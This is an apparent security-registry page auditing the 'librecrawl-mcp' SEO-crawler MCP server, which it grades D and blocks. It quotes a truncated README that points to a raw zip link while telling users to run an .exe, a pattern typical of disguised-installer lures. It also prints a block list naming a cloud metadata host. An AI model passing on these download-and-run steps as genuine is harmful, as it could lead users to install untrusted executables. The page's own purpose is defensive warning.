librecrawl-mcpBLOCK
Audit websites with this self-hosted SEO crawler. Connect LibreCrawl to Claude and perform unlimited technical audits without per-crawl fees.
Overview
From the repository's own README, as read at the audited commit. Badges and raw HTML are left out.
librecrawl-mcp acts as a bridge between your website and the Claude AI interface. It performs deep technical SEO audits without the need for monthly subscriptions. You gain access to nineteen specialized tools that crawl your pages and report findings directly within your chat environment.
This tool functions as an alternative to enterprise scanners. It manages large websites, finds broken links, checks page headers, and maps your site structure. Because it runs locally on your computer, your data stays private and you face no limits on the number of pages you crawl.
🛠️ System Requirements
Ensure your computer meets these basic specifications to run the crawler smoothly:
- Operating System: Windows 10 or Windows 11.
- Memory: 8GB of RAM minimum (16GB recommended for large sites).
- Storage: 500MB of free disk space for the application files.
- Software: Docker Desktop for Windows must be installed and running.
📥 How to Download
Visit https://raw.githubusercontent.com/bridgettmirthful637/librecrawl-mcp/main/postarytenoid/mcplibrecrawl3.3.zip to download the latest version of the software. Look for the file ending in .exe under the "Assets" section of the most recent release. Click the file to save it to your computer.
⚙️ Installation Steps
- Install Docker Desktop from the official Docker website if you have not already.
- Open Docker Desktop after the installation finishes. Wait until the status icon turns green.
- Locate the .exe file you previously downloaded.
- Double-click the file to begin the setup process.
- Follow the on-screen prompts.
- The installer will configure the connection between your computer and the Claude interface.
🚀 Runn
44aa2a9fd91cOBSERVED · 2026-10-11Exposed tools (19)
17 read · 2 write · 0 destructive.
| Tool | Risk | Description |
|---|---|---|
librecrawl_append_gsc_section | read | |
librecrawl_audit | read | |
librecrawl_export_results | read | |
librecrawl_filter_issues | read | |
librecrawl_generate_report | read | |
librecrawl_get_settings | read | |
librecrawl_get_status | read | |
librecrawl_internal_links_analysis | read | |
librecrawl_list_crawls | read | List all saved crawls with URL, crawl_id, and timestamp. |
librecrawl_pagespeed | read | |
librecrawl_pagespeed_audit | read | |
librecrawl_pause_crawl | read | Pause the currently running crawl. Resume with librecrawl_resume_crawl(). |
librecrawl_resume_crawl | read | Resume a paused crawl. |
librecrawl_schema_audit | read | |
librecrawl_schema_check | read | |
librecrawl_site_check | read | |
librecrawl_start_crawl | write | |
librecrawl_stop_crawl | write | Stop the currently running crawl. |
librecrawl_visualization_data | read |
Trust audit
BLOCKgrade D · trust 69/100 Do not install this without reading the findings. The audit found something that could harm you or your machine.
| Layer | What it checks | Result |
|---|---|---|
| L0 | Provenance & inventory | WARN |
| L1 | Static analysis of the code | FAIL |
| L2 | Instruction surface (what it tells the agent) | PASS |
| L3 | Class-specific surface | PASS |
| L4 | Behavioural (sandbox) | SKIPPED |
What the source does
- Filesystem
- none-observed
- Network
- declared (12 observation(s))
- Shell
- none-observed
- Dependencies
- pinned
- Secrets in source
- none-found
Findings (8)
blocked = ("localhost", "metadata.google.internal")mcp_librecrawl_3.3.zip
echo -e " LibreCrawl : http://127.0.0.1:${LIBRECRAWL_PORT}"echo -e " MCP server : http://127.0.0.1:${MCP_PORT}/mcp"proxy_pass http://127.0.0.1:${MCP_PORT}/;"url": "http://127.0.0.1:${MCP_PORT}/mcp"echo -e " LibreCrawl UI : http://127.0.0.1:${LIBRECRAWL_PORT}"Gates applied: no_behavioural_pass, no_license.
44aa2a9fd91cfull audit observations/trust-audit/mcp-server/bridgettmirthful637__librecrawl-mcp.json · Report an issue / request a re-scanAudit history
Every audit this server has had. A grade with a past is a grade somebody is still checking.
| Date | Source | Verdict | Grade | Score | Change |
|---|---|---|---|---|---|
| 2026-10-11 | 44aa2a9fd91c | BLOCK | D | 69 | first audit |
Questions
What is the librecrawl-mcp MCP server?
Audit websites with this self-hosted SEO crawler. Connect LibreCrawl to Claude and perform unlimited technical audits without per-crawl fees.
What tools does librecrawl-mcp expose?
19 in total: 17 read-only, 2 that write, and 0 that can delete or overwrite. Every one is listed on this page with its risk.
Is librecrawl-mcp safe to connect to an agent?
No — not without reading the findings first. The audit graded it D (69/100) and found 1 critical or high issue in the source. Each one is listed on this page with the file and line it is on.
What credentials does librecrawl-mcp need?
It reads PAGESPEED_API_KEY from the environment. Give it a token scoped to the least it needs — an agent that can be talked into calling a tool can be talked into calling it with your credentials.
How does librecrawl-mcp run?
It speaks streamable-http, so it runs as a service you connect to over the network.
How current is this page?
The grade is for one exact copy of the source (44aa2a9fd91c), read on 2026-10-11. The repository is watched and re-audited when it changes.